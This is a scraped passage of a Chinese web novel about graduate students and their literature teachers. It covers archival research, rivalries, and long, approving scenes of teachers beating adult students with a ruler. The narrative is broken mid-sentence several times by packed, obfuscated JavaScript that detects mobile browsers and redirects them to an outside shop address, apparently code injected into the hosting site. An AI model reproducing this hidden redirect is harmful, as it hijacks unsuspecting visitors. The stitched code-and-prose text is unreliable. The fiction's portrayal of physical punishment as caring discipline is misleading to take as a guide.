l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590811|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就影响教学质量了。要是你们课都多,就还是我去。” 纪老师有些担心:“严老师,您也要上硕士和博士的课。” 严先生笑着摆摆手:“才一个博士生,等你们都招到博士生来给我上课再说。不过咱们老师也太少了,宋元文学史还得童院长一个搞文献的来帮我们上,他每次见到我,都让我请他吃饭感谢他呢!” 纪老师也跟着笑,说起其他学校的八卦来:“听说K大请了一个台湾的老先生回来,现在国内老师少,大家都盯到外头去了,童院长好像也在联系美国还是加拿大的几位先生,不知道能不能请回来坐镇。” 严先生点点头:“能请回来当然好,可以多培养些硕士博士,但是我们也要有自己的青年教师,不然全是老头老太太,都没人上讲台了。” “严老师有个学生是不是研三了,毕业了愿意留校的话还是很好的。” “等毕业再说吧。”说完正事,严先生看向秦昭阳,问,“昭阳,阅冬这几天怎么样?” 秦昭阳受宠若惊,忙道:“阅冬挺好的呀,怎么劳您过问了?” “他们几个小孩子么,闹了点脾气,我听巍思说呢,是遂平和阅冬吵架了,巍思也是不懂事,拉偏架,让阅冬受委屈了。我也教训巍思了,让巍思给他道歉去了。” 秦昭阳坐立不安。按辈分算,他们都叫严先生一声老师,刘巍思管他们叫师兄也不过分。按亲疏看,刘巍思是一来就被严先生养在膝下的,跟亲生儿子没有区别。现在为了柏阅冬,严先生竟然把刘巍思给打了,还让刘巍思去道歉。天寒地冻的,秦昭阳冷汗涔涔,心想这道歉,他都不一定受得住。 “老师言重了,阅冬是个爱胡闹的,脾气也大,回头我收拾他去!” “你可别为难小孩子,阅冬聪明,嘴也甜,招人喜欢。改天你领他上我们家吃饭去。” “谢谢老师。” “行,那没什么事,我就先回去了,纪慎?” “哦,”纪老师明显愣了一下,似乎是在想事情,“不好意思,严老师,我走神了,我送您回去吧。” “不用不用,学生在楼下等着我呢!你们有事就再商量,还有什么我不知道的就给我去电话。” “好,”纪老师还是坚持送到了楼梯转角,“那严老师保重身体,学生改日有空上门看您。” “你忙你的,有空再说。” “严老师路上小心。” 13. 第 13 章 “师兄!”刘巍思远远就看见了在校门口等着的男人,边跑边喊,“师兄!” 站在校门旁边的男人四十岁出头,穿一件军绿色袄子,一条灰色长裤,肩上斜挎一个布包,十分朴素。见刘巍思跑来,轻声呵斥道:“你急什么?” 刘巍思十分激动,指着后面的人:“师兄,这就是我同学,柏阅冬。阅冬,这是我师兄,易堂生。” 柏阅冬跟着刘巍思跑了一路,都快累死了,叉着腰大喘气:“易师兄好,我、我是柏阅冬,是秦老师的学生。” 易堂生点了点头,表示知道了:“走吧。” 前几天刘巍思把柏阅冬的论文跟大师兄讲了,请他帮忙看一看。正好易堂生今日要去外面的图书馆找文献,便叫上了他们俩。几人在校门不远处上了一辆公交,摇摇晃晃地站在车中间。柏阅冬知道时间珍贵,便讲起自己的论文来:“我前两部分都写完了,就差最后文献部分,我认为文献收集、传抄过程中也导致了这几个人词作归属的混乱,所以我想通过梳理、比较各类文献的不同,来找出这些词作的真正作者。” 易堂生右手拉着公车上的横杆尽量站稳:“如果你要写原因探析的话,文献确实是其中一个原因,但是想要通过文献来确定词作的真正作者就很难。哪怕你能知道这些文献的最初形成时间,但是在后来的刊刻、修改过程中也会发生错误,而且你应该也知道,很多文献已经失传了。所以得看我们的运气,运气好的话,能找到的版本就多,你能得到的信息也更多。” “早知道我就不写这部分了。” “你当然可以就文本论文本,但是,做古代文学,如果不涉及文献的话,我认为是非常不负责任的,文献应当是我们的基础。” 好吧,没话说了。柏阅冬没法在这位易师兄面前发牢骚,又不能完全不讲话,便扯了些别的:“易师兄,您是不是在我们学校给大一学生上先秦两汉文学史啊?我有次看到我舍友的笔记本,写了您的名字。” 易堂生点点头:“嗯,学院老师不够,我只好兼上一门课,你舍友是庄遂平?” “嗯,”柏阅冬开始不高兴了,但还是强忍着,“易师兄认识?” “纪老师的学生,他来和我交流过一次,很踏实的一个人,我很欣赏。” 柏阅冬:“……”心更塞了,他就不该提这个话题。 晃了一路,总算是到了。一行人直上到古籍阅览室,因为太安静,不仅不敢说话,甚至连走路都不敢用力。古籍阅览室宽敞空旷,一个来看书的都没有,只有两个工作人员坐在工作台后抄抄写写。 易堂生轻车熟路地带着俩小孩走到台前,礼貌地点点头:“您好,我们需要借阅文献。” 工作人员站起来,拿了一个登记本放到他们面前:“写一下要借阅的文献,一行就填一册,按顺序往下填就可以了。还要请你们出示一下证件。” 几人掏出学生证递过去,工作人员一看,竟然有个博士,顿时肃然起敬,又把证件还给他们了。眼看柏阅冬“唰唰唰”写了一大堆文献,工作人员解释:“古籍一次只能出借一本,你们三个人,我先一次拿三本给你们,你们还回来之后我再拿下一本给你们。” 这么麻烦,柏阅冬问:“那我一本可以看多久啊?” “多久都可以,只要不离开阅览室就行,只能在这里看,不能带走。” “哦,好的。” 古籍都放在里间,外头的人根本看不到,只能等工作人员找出来。等待的时候,几人戴上手套,又期待又认真,跟迎接圣旨似的。 从工作人员手上接了书,几人双手捧到阅览桌上。易堂生倒还好,那两个小孩“哇哇”地感叹,跟没见过一样——确实没见过。 “易师兄,这可是文物啊文物!” 易堂生淡淡道:“你知道就好,来,打开第一页,看版本信息,你看,这虽然是宋代成书,但是个明代的刻本,你就很难知道,它刻的和宋代的成书是不是一样,所以你要比较这套书的各种版本,才能找到差异。” 柏阅冬歪着头:“那工作量不是太大了吗?” “怎么?都读硕士了还想偷懒?” 柏阅冬:“……” 就说那么一句就是想偷懒了啊? 易堂生压根没注意到小孩的情绪,又捧过另一本:“你来看,这是宋本,也就是……” “宋本!易师兄,这就是一两黄金一页纸的宋本!”柏阅冬兴奋地捧起那明显破损的本子,“这值多少黄金啊?” 易堂生严肃地看着他:“放下。” “哦。”柏阅冬悻悻放下本子,心想,平时刘巍思跟他大师兄说话,肯定很没意思。 “文献与成书年代越接近,可信度越高,所以你应该可以拿这个宋本作为参照。”易堂生道,“能告诉你的只有这么多,我对五代和北宋了解不多,剩下的事情要靠你自己了。” 柏阅冬点点头:“我知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590812|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道了。”说着就开始小心翼翼地翻黄金。易堂生解决了一个,却见刘巍思一直撑个脑袋在旁边听,立刻斥道:“看什么看?还不去抄你的书!” 刘巍思抖了一下肩膀,委屈地应了一声,乖乖抄书去了。易堂生看了他们俩一会,坐到他们背后那张桌子去了。 柏阅冬和刘巍思那张桌子靠着最里面的窗户,背对阅览室大门,只要不回头,就可以把这里当作安全的小窝。柏阅冬翻了一会儿,觉得实在太慢了,又想到还有一堆文献没有借出来看,压力骤增,忍不住朝着刘巍思“嘶”了两声。 刘巍思偷偷看了一下身后的大师兄,见他写文章入了神,便悄悄往柏阅冬身边挪了挪,小声道:“怎么样?” “你帮我抄这个,我一个人抄不完。” “好。” 于是两个人就把文献放在中间,一人抄左边一人抄右边,一时间也算默契。 俗话说冤家路窄,已经离学校好几公里远的柏阅冬怎么也不会想到,他都到这里了,居然还能听到他最不想听到的声音。 “你们记得啊,这里就是古籍阅览室,以后你们读研究生了肯定常来……” 声音不算大,但在静悄悄的阅览室里,所有人都听得一清二楚。易堂生抬起头,惊喜地站起来迎上去:“纪老师好。” “堂生来查资料?”纪老师笑着看他一眼,又不动声色地瞥了眼靠窗的两个小孩,那背影僵得跟死尸似的,却不点破,只和易堂生说话,“我带几个本科生来看看。” 那几个学生见了易堂生,纷纷鞠躬问好:“易老师好。” 易堂生点头示意,又继续和纪老师说话去了。后头那两个小孩窸窸窣窣,尤其刘巍思,一直在犹豫要不要去打招呼,却被柏阅冬死死抓住了手腕。 “是纪老师。” 柏阅冬哭丧着脸,满是哀求地摇头。 刘巍思好不容易才把他哄回来,不想再让他不高兴,只好放弃去和纪老师打招呼的想法,跟他旁若无人地面对着窗户继续抄书。 也不知易堂生和纪老师聊了多久,只知道那俩小孩提心吊胆的,好半天才放下心去。 书么,抄了一天;手么,酸得连公车上的拉杆都不愿意抓了。柏阅冬累个半死,一到学校就回宿舍去了,刘巍思刚跟他说完再见,一回头就看见大师兄铁青着张脸,直直盯着他。 刘巍思不由得咽了下口水,手也不知怎么的伸到身后去,心疼地摸了摸屁股。 14. 第 14 章 严先生正在厨房里下面条,忽然听见门口一阵窸窣,探头一瞧,是易堂生拽着刘巍思回来了。严先生知道他们今天的活动,问:“回来了?” “老师,”易堂生死死掐着师弟的手腕,生怕他一到家就躲起来,“您先忙,我得教训巍思几下,您别见怪。” 严先生看小孩撅着嘴,一副受了委屈,却又不太敢反抗的样子,就知道他是真犯事了,摆摆手道:“去吧。” 可怜的刘巍思就这样被生拉硬拽进了书房。 他这大师兄虽然是很早就跟着他老师学习的,但好像从没学到老师的温和宽厚,教训起人来倒是和纪老师如出一辙。刘巍思怕挨打,更怕被大师兄打,要是被大师兄打一次和被老师打十次放在他面前给他选,他一定毫不犹豫选择被老师打十次。 但是被大师兄打这件事就摆在眼前了,想逃也逃不了。 “裤子不脱,等我请你?”易堂生不知何时拿了戒尺,重重地在桌上敲了一下,吓得刘巍思一缩,好半天才反应过来。 最外层是一条蓝色灯芯绒裤,中间是一条保暖秋裤,最里面还有薄薄的内裤。虽然这几年也在大师兄手底下挨了不少打,但每一次脱裤子,都好羞耻,就像是要准备出门裸奔一样。 磨磨蹭蹭脱完几层裤子,刘巍思一扭一扭地走到桌前,趴下身子,小臂撑在桌上。 用小臂支撑,上身就趴得更低,身后那两团肉也自然而然更撅高了。刘巍思也不想用这种羞耻至极的姿势,但是以他大师兄的狠心,用手掌根本撑不住啊! 易堂生见他摆好姿势,上前一步,按住他的腰,“啪啪啪”三下戒尺重重抽在臀尖上。刘巍思后脑一空,连连倒抽凉气。 “为什么打你?” 太疼了,刘巍思只有一个念头,就是摸一摸他的屁股,左手更是不受控制,缓缓伸到身后。可还没沾到屁股,就立刻被大师兄抓了扣在腰后,屁股又为他的不自觉挨了三下狠戾的戒尺。 “啊!!大师兄……” “撑好!” 刘巍思欲哭无泪,只得默默抽手回来摆好姿势,刚一摆好,戒尺又“啪啪啪”地追了上来,一连五下,把他那两团肉打得热乎乎的。 “为什么打你?” “我……我没礼貌,不懂事,没去跟纪老师打招呼。” 虽然送走纪老师之后,大师兄一直没提,但是刘巍思知道,那只不过是顾着他在柏阅冬跟前的面子,这样的事,终归是要挨一顿打的。 “啪啪啪啪啪”,又是五下戒尺,刘巍思整个屁股都红彤彤的,跟动物园里的猴子差不多,可易堂生还觉得打太轻了,喝问:“为什么不去?” 刘巍思眼角飙泪,眼眶湿湿的,这该怎么说啊?总不能说是柏阅冬不许他去,就算说柏阅冬不许他去,师兄肯定也会说你那么大个人,你要坚持去他能拉得住你? 说到最后,都是他的错。 “对不起,师兄,是我错了。” 易堂生高高扬起戒尺,手上蓄足力气,照旧一连五尺抽打下去,疼得刘巍思直叫唤。 “这就疼了?我看你是不知道什么叫疼!见到纪老师为什么不去问好?纪老师这些年怎么对你?你这个样子,多伤纪老师的心!” “师兄师兄,我知道错了,我去给纪老师道歉,我以后再也不敢了……” “啪啪啪啪啪!” “啊!师兄别打,轻点轻点!” “你还有脸叫我轻点?!你是老师养在身边的,这样的事传出去,你要人家怎么说老师?你把老师的颜面往哪里放?” 刘巍思真被打哭了,眼泪一颗颗往外掉,屁股疼得跟烧起来一样,他想大师兄一定把他打肿了,也不知道要打成什么样。 “师兄我错了……”刘巍思委屈哭道,“我没想那么多……” 一阵“啪啪”声,又是一轮狠责,易堂生骂道:“没想这么多,那你这个脑子长来干什么?还是都用你这个屁股想事情?” “不是不是,师兄,我真的知道错了,您饶我这一次……” “刘巍思,你真知道错了就不会求饶!”易堂生把戒尺贴在他肿起一层的屁股上,“你欠揍我就成全你,看你以后还敢不敢乱来!” 刘巍思一阵心慌,知道真正的惩罚才刚要到来,顿时连哭也顾不上,问:“师兄,要打多少?” “打到我觉得你记住教训为止!” 刘巍思听到这句话,脚底一凉,还来不及怕,戒尺就“噼里啪啦”抽了下来。本来身后就已经疼得不行,还要继续打,而且每一下戒尺都是兜风落下来的,让人不禁怀疑这是教训师弟还是痛打恶人。刘巍思忍不住动起来,试图逃脱狠戾的戒尺,嘴里也不住求饶:“师兄、师兄!我知道错了……好疼……您慢点,让我缓缓……轻点,啊!!师兄求您了,别打了,别打了,真的好疼……” 哭着挨了不知多少戒尺,刘巍思只觉臀尖那一处都被打烂了,可戒尺又往下移了点,打在臀尖下面一处,仍旧是“啪啪啪啪啪”,像雨点一样落下,又急又重,让他逃脱不得。 “师兄,打坏了……救命!老师救我!”刘巍思踢蹬起来,姿势也保持不住,两手不断往后挡,可挡了几回就被大师兄抓住扣在了腰上,把他摆成一个上身完全趴在桌上,只有屁股卡在桌子边缘处的挨打姿势。 横着、斜着,易堂生对着那个欠揍的屁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590813|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股各种抽打,直把整个屁股都打得泛紫,像发得厉害的紫米大馒头才作罢。 刘巍思趴在桌上“呜呜”地哭,像受了天大的委屈,明明跟老师说的是教训几下,这哪里是几下?几百下都有了! “起来,别在这里装委屈!” 刘巍思抽噎一下,不敢违抗,只得抹了眼泪,扶着桌子起身,两手一碰到那个屁股,就立刻被烫得缩回手,不禁又哭起来:“好痛……” “打错你了?!” “没、没有……” 嘴上说了没有,行动上也不能迟疑。刘巍思咬牙穿上裤子,布料一碰到**的屁股,简直要让他晕厥过去。可大师兄还在面前看着,除非真晕,否则还是要乖乖穿好裤子出去陪老师吃晚饭。 原本合身的裤子突然有点紧绷,勉强包裹着身后两团肉,站着的时候还尚可忍耐,可脚一迈出去刘巍思的眼泪就“哗啦啦”下来了——真的好疼,走不动路了。 易堂生背着双手,冷脸道:“路不会走了?要我背你?” 这句话大约等于——不会走路就打到你会走为止。 刘巍思咬着下唇,死死忍着,继续抬脚,慢慢走了出去。 严先生煮了面条,还要再炒一个菜。易堂生见状,立刻上前:“老师,我来吧,您去歇着。” 严先生也不跟他客气:“好,你来,我去看看巍思。” “看什么呀?男孩子哪有这么娇气?不过是挨几下戒尺,让他记住教训罢了。” 严先生摇摇头,笑着离开了厨房。这一出来,就见刘巍思站在客厅中间,眼泪直掉,可把他心疼坏了,忙过来让他坐。 “老师,我坐、坐不下,屁股好疼……” 严先生有点责怪大弟子打得狠了,可又不能说出来,以免小孩子以后不服管,便只能坐下,让小孩子趴自己身上,轻声问:“怎么了呢?把大师兄气成这样。” 刘巍思怕大师兄在厨房听见,便攀着老师的脖子,仰头在老师耳边一阵叽里呱啦,把今天的事全说了。 严先生听完,眼中也流露出责怪的意思:“那是该打,心里不许怨大师兄,听到没有?” “我没怨大师兄。” “那怨谁呢?一脸委屈的。” “柏阅冬!”刘巍思脱口而出,“都怪他!” 严先生忍俊不禁,拍拍孩子的背,道:“阅冬是小孩子脾气,你和遂平大他几岁,是哥哥,平时也不要纵着他,该劝就劝,该拦就拦,不然这性子掼坏了,将来要吃亏!” “知道了。” “还有,改天好好去给纪老师认个错,嗯?” 刘巍思扁着嘴应了一声:“嗯……” 15. 第 15 章 十一月底了,气温骤降,不少学生都受凉感冒了,几乎每节课都有人请假。秦昭阳下了课,叮嘱完记得背书和写作业,还得念叨多穿衣服别生病,这才收拾东西走出教室。 一出来就碰上隔壁刚下课的纪老师,两人打了招呼,一起回办公室去。 “我那天在外头碰到柏阅冬,他和刘巍思去找文献,看来又要写出一篇好文章了?” 秦昭阳一惊,也没听小孩说过这事,只得含糊道:“什么好文章?他有想法我都由着他去,让他多练练,免得以后写不出毕业论文。” “昭阳,你这可就太谦虚了,柏阅冬是这届学生里第一个发文章的,上回童院长还问起他呢,让我看好这根苗子,别给糟蹋了。” 这就是要培养柏阅冬的意思了。秦昭阳是很高兴的,他今年才开始收研究生,心里憋着一口气,想一举证明自己的能力不比其他的老师差,柏阅冬也确实给他争气,连着两次读书汇报拿了优秀,还早早发了文章,俨然一颗学术新星的模样。 秦昭阳笑道:“劳烦纪老师和童院长记挂了,我回头得好好说说他才是,让他加把劲,可别辜负了老师们对他的期望。” 走到三楼,纪老师适时道:“说起来,我那天也正好在外面,顺便给他做了个礼物,昭阳,你带回去给他吧。” “怎么还有礼物呢?纪老师太客气了,纪老师记挂他,就是他的福气了。” 转过弯,纪老师还待说,却看到正在办公室门口等他的庄遂平,当即收了笑,一脸严肃走去。 秦昭阳自然也看见了,到了跟前,还得了庄遂平一声恭谨的问好,便点点头,礼尚往来:“庄遂平,你来找纪老师?” “嗯,”庄遂平手里拿着几张纸,“文章改完了,拿来给老师看。” “纪老师,你这学生也可够自觉的,柏阅冬都得等我骂了才不情不愿给我看。” 纪老师进了办公室,在柜子上找了一阵,找出一个长方形木盒子递过去:“自觉有什么用?他要是有阅冬一半聪明,也用不着一天到晚来找我了。” 秦昭阳接过盒子,碍着庄遂平在跟前,没有拆,只道:“我替阅冬谢过纪老师了,改天让他亲自来道谢。” 纪老师盯着那盒子,嘴角勾起一抹意味不明的笑:“你看他是不是真喜欢再说吧。” “老师送他礼物,哪里还挑三拣四的?行,我也不耽误你们师生俩讲文章了,就先走了。” “好。” 秦昭阳在他们师生的注视下离开了办公室,直走到自己办公室门口才忍不住好奇心,轻轻打开了木盒。 木盒里,一柄三指宽、比***臂略长的乌黑戒尺静静躺着。戒尺上,象征性地刻了半棵柏树,显得更加严肃,莫名带上了些告诫的意味,尺尾则缀着绿色流苏,柔顺非常。 柏阅冬果然不会喜欢这礼物,秦昭阳想,不过,纪老师怎么会送他一把戒尺?难不成死小孩已经把人纪老师得罪了? 那边办公室里,庄遂平目送秦老师离开以后边关上了办公室门,顺从地走到办公桌前,把文章递给老师。 自从上次那顿歇斯底里的责打后,他还是第一次来见纪老师,心中又是期待又是恐惧。方才目睹了老师给柏阅冬送礼物,庄遂平心中有些不平,但他说不清那是羡慕还是嫉妒,也许都有。 纪老师坐在椅子上,翘着腿,迅速翻看他的文章。庄遂平的字写得很好,转折有力,练笔平滑,有行云流水之感,纪老师看起来毫无障碍,很快就看完了。 “句子都改了,但除了病句错字呢?别的呢?” 面对老师忽然的责问,庄遂平不知如何回答。除了病句错字,那就是选题和架构的问题,但那些都是他大问题,他根本不敢轻易动,万一改了还不如现在,岂不是白费力气? 纪老师虽然严厉,但并不刻板。他喜欢聪明的小孩,最好是机灵不怕生的,刘巍思那样就挺好,如果是柏阅冬,他大概也狠高兴,但是他收进门的竟然是庄遂平,是三个里面最怕老师又最没有学术感的庄遂平。 就像是一场错位了的表演,他们的期待与眼中所见根本不是一回事,那么看完之后,当然也不会有雷鸣般的掌声和欢呼。 有的只是心力交瘁的无奈。这正是现在纪老师面对庄遂平的心情。 罢了,自己收的学生,无论如何要带他毕业。 “上次的伤好了没有?” 庄遂平既惊又喜,竟然得到纪老师的关心,便立刻点了点头。 “好了就撑过来。” 庄遂平有些怕,但也没有办法,这是纪老师的教导方式,他说过会接受,就只能在每一次纪老师要求时乖乖做到,否则,之前的应承,便都没有意义。 庄遂平低头解开裤子的纽扣,将厚裤子褪到大腿处,虽没有冷得打颤,却也微微红了耳廓。到底不像刘巍思挨打惯了,庄遂平往前挪了一步,借着桌子的遮挡才褪下最后一层裤子,随后便双手撑在桌面上,哑着声音道:“老师。” 纪老师有点想不明白,又不是黄花大闺女,这么别扭做什么?再说了,之前不也打了么?现在磨磨蹭蹭的,做样子给谁看? 但纪老师也没把这些话说出来,只是拿起戒尺,“啪”地抽了下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590814|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄遂平被打得往前一晃,差点撞上桌子,却不敢说什么,只默默摆好了姿势。 “改论文,不是让你改病句和错字,有问题的都改了,听到没有?” “听到了。” “啪!” “论文就是拿来改的,别觉得写了这么多舍不得,你舍不得差的,就写不出来好的,明白吗?” 庄遂平咬牙道:“是。” “啪!”“期刊论文多看多学,不要自己埋头写,没有用,知道吗?” “嘶……知道了,老师。” 不过三下戒尺,却都是责在臀尖一处,把那处打得通红。庄遂平疼着,却也发现戒尺久久没有落下,便大着胆子问:“老师,打完了吗?” “论文的事,打完了,但是,”纪老师停顿了一会,“其他的还没有。” 其他的?庄遂平有点奇怪,老师不是只管论文吗?怎么又管起其他的来?正疑惑着,便听老师道:“上回听说,你和柏阅冬有矛盾。” 庄遂平的手猛地扣紧了桌子边缘。 “看来是真的了。你们这个年纪,有些矛盾冲突也是正常的,我只有一个要求,不要让这些事传到我耳朵里,尤其是从严先生那里传过来,知道吗?” 不能从严先生那里传来,意思是要特别注意别得罪刘巍思吗?也是,老师不是最喜欢巍思吗?当然怕别人把他欺负了去。 鼻尖有点酸,不多,庄遂平强忍着泛起的一丝泪意,道:“我知道了,我会处理好的。” “四十,”纪老师下了判决,“既是罚你没做好,也是警告你之后不要乱来。” 以纪老师的手劲,四十下已经算重责了,庄遂平想起上次被痛打,不由得有些害怕,屁股也缩了又缩,却还是道:“是。” 没有任何提醒,戒尺就狠狠抽了下来,“啪啪啪啪”,一下接一下,跟那三下全打在臀尖上不同,这一轮戒尺如同疾风骤雨,胡乱抽在屁股上,一下是横着抽在臀尖,一下又变成了斜着抽在右臀,仿佛用尽全力,只是要他痛。 戒尺够狠,自然也会收到好的效果。庄遂平强忍了十来下,便不由自主地痛呼出声:“呃……老师……疼……” 可就算屁股已经火烧火燎了,庄遂平仍不敢动弹,始终强迫自己保持着姿势,违反本能地接受责打。纪老师一边打一边默数,四十下过,学生的屁股已是深红一片,肿得明显了。但他似乎也没有心疼,只丢下戒尺,道:“出去吧。” 还是这样的冷淡,庄遂平自嘲地抿抿唇,不知道自己在期待些什么,应了声是便穿好裤子,慢慢地走了。 16. 第 16 章 柏阅冬这天傍晚上老师家去了,之前说过的,他的文章有进展了就去找老师。但其实也不算有进展,虽然是请到易堂生帮忙,梳理了一些文献,可之后的处理他还是不太会,只能寄希望于他师父有法子了。 说也奇怪,柏阅冬发现,有个女生一直和他同路,校道上同路就算了,进了宿舍区还是同路。女生自然也注意到他,两个人目光作剑眉作刀,打了不下八十个回合。 直到要上同一个楼梯,女生明显慌乱了起来,快步跑了,可一回头,那男的就跟在后面啊! “你为什么跟着我?”女生站在二三楼楼梯拐角处问。 柏阅冬抬头看着她,跟看傻子似的:“我哪里跟着你啊?” 女生一边往上走一边警惕地盯着陌生人:“还说你不是跟着我,我都到家了,你呢?这个单元我都认识,你是哪家的?”说着已经到了三楼,往301门口退了退。 神经病!柏阅冬在心里骂了一句,道:“你到家就到家,关我什么事?” “那你别过来呀!”眼看着陌生人又靠近了几步,女生慌张地连连拍门。 柏阅冬停在原地,两手抱在胸前,无语问天。 “我警告你,你小心点,你要是……”女生正说着,旁边的房门突然打开,房内女人欢喜道:“辰辰回来啦!我就说听到你的声音,你爸还不信……”看到女生防备的姿势,女人接着探头出来,这下更欢喜了:“阅冬也来啦!快来快来!” 电光石火间,柏阅冬已经知道这女生是谁了,却不说破,只是礼貌地点点头:“师母好。” 偶遇的冤家一前一后进了屋,秦嘉辰进房去收拾东西了,柏阅冬在客厅汇报他的论文进度。说到最后,柏阅冬狗腿地凑上去,道:“师父,徒儿有一上策。” 秦昭阳一脸轻蔑地看着他——你这个脑子能想出上策? “好吧,”柏阅冬被打击了,“是个馊主意。” 秦昭阳还是不信,两手抱胸等着他说实话。 柏阅冬无语了,怎么他的好师父就是不相信他呢?“好吧,是个奸计!” “说。” 柏阅冬又堆出笑来:“师父,您去帮我问纪老师呗!” 果然是个奸计! “柏阅冬,你的文章,我去帮你问,你空手套白狼?一天到晚算计你师父,想得美!我不去!你爱写不写,反正不是我的!” “师父!您怎么能说出这么狠心的话?我可是您的开山大弟子啊!您看您,哎呀,是纪老师的好同事,你们讨论一下学术嘛,相互切磋进步,难道不是应该的吗?” 秦昭阳白了他一眼:“我们切磋的时候你还没出生!用得着你来指手画脚?” “哎呀,师父,反正您一举两得嘛!” 秦昭阳翘着二郎腿,好整以暇:“说到纪老师,他还挺惦记你,送了你个礼物,你改天去我办公室那看看?” 柏阅冬满头问号,纪慎怎么会送礼物给他?别是砒霜吧?但此刻也顾不上这么许多了:“老师,您看人家纪老师都表示了,您就去道个谢,然后顺便帮我问了……” “柏阅冬,你懂不懂事啊?纪老师是送礼物给我吗?那是我的文章吗?就算我去,你好歹跟着露一下面……” “好,成交!”柏阅冬一拍手,结束了话题。 秦昭阳怔愣片刻,突然反应过来,这他妈真是个奸计啊!其实柏阅冬的目的只是让秦昭阳陪他一起去,却不停地恳求秦昭阳帮自己去问,秦昭阳退一步,刚好掉进他的圈套。 秦昭阳如坐针毡,换了一边二郎腿,竟有些无奈:“你这个小子……” 柏阅冬的笑里带着些讨好,抱过书包,从里面掏出一盒盒饼干巧克力之类的放在客厅上:“师父,这是不孝徒儿孝敬您的,盼您长命百岁,多发文章,早日评上博导。” 正巧秦嘉辰从房里走出来,见他如此谄媚,不禁嗤笑一声。柏阅冬默默翻了个白眼,又开始厚着脸皮道:“师父,我要用电话。” 秦昭阳拿了一盒巧克力看上面的外文,发现都看不懂:“去吧,你哪来的这么多东西?” “我哥寄回来的,我吃不完,师父,我得打个越洋电话。” “什么?”秦嘉辰尖叫,“越洋电话,你知不知道电话费多贵?” 柏阅冬已经拿起话筒了,一点没打算放下去:“怎么?你一个要出国的人还操心这点电话费?” “谁跟你说我要出国?” “不会你学外语不打算出国吧?” 秦嘉辰被他一语说中,“哼”了一声,扭头走了。 晚饭也不得安宁,柏阅冬和秦嘉辰动不动就相互攻击,谁也不让谁,师母倒是还劝一劝,秦昭阳却乐得看他们闹,最后还让秦嘉辰送柏阅冬出去。 秦嘉辰的戏只做到门口,出了门,便拉下脸:“赶紧走吧,没事别来我家!” 柏阅冬戏谑一笑:“当我多想来似的,你让你爸别惦记我就行!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590815|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦嘉辰狠狠瞪了他一眼,回身“砰”一身甩上了门,柏阅冬浑不在意,背着轻了许多的书包回宿舍去了。 只是不知道今天是什么黄道吉日,回了宿舍竟也没能消停。天气太冷,柏阅冬匆匆洗个脚就要睡,可是庄遂平却始终盯着他,欲言又止好几次。柏阅冬到现在还在跟他冷战,并无和好的意思,翻身上床盖被子了。 庄遂平看着柏阅冬面朝墙壁,背朝自己的封闭姿势,一时无语。只是今日挨了教训,说要处理好这件事的,要是处理不好,还不知老师要怎么收拾他。 庄遂平坐在床上,开口唤他:“阅冬。” 柏阅冬动了动,但没有说话。 “阅冬,我知道你没有睡,我有话想跟你说。” 这下柏阅冬动也不动了。 分明是抗拒,可是庄遂平别无选择,只能继续说:“我知道你还在介意那天的事。其实就像你说的,我不配做你的朋友——你在帮我,但我还指责你。我知道你的好意,但是,我真的是心甘情愿接受纪老师的那些方式的……” 十点多了,宿舍一片静悄悄,虽然还有些许灯光亮着,但也陆陆续续熄了。庄遂平看着窗外的黑暗,叹息一声:“其实我心里没觉得很难接受,虽然在别人看来有些难堪和暴力,但是我至少知道他是在教我,他有把我当成他的学生。为了当他的学生,我愿意接受那些惩罚,我觉得很难接受的,是……” “是他总是把巍思当成理想的学生。”庄遂平双手抱膝,头往里一埋,声音闷闷的,“在他心里,巍思才是好的,他总是让我学巍思,我也去学了,可是我学不好……巍思是巍思,我是我……” 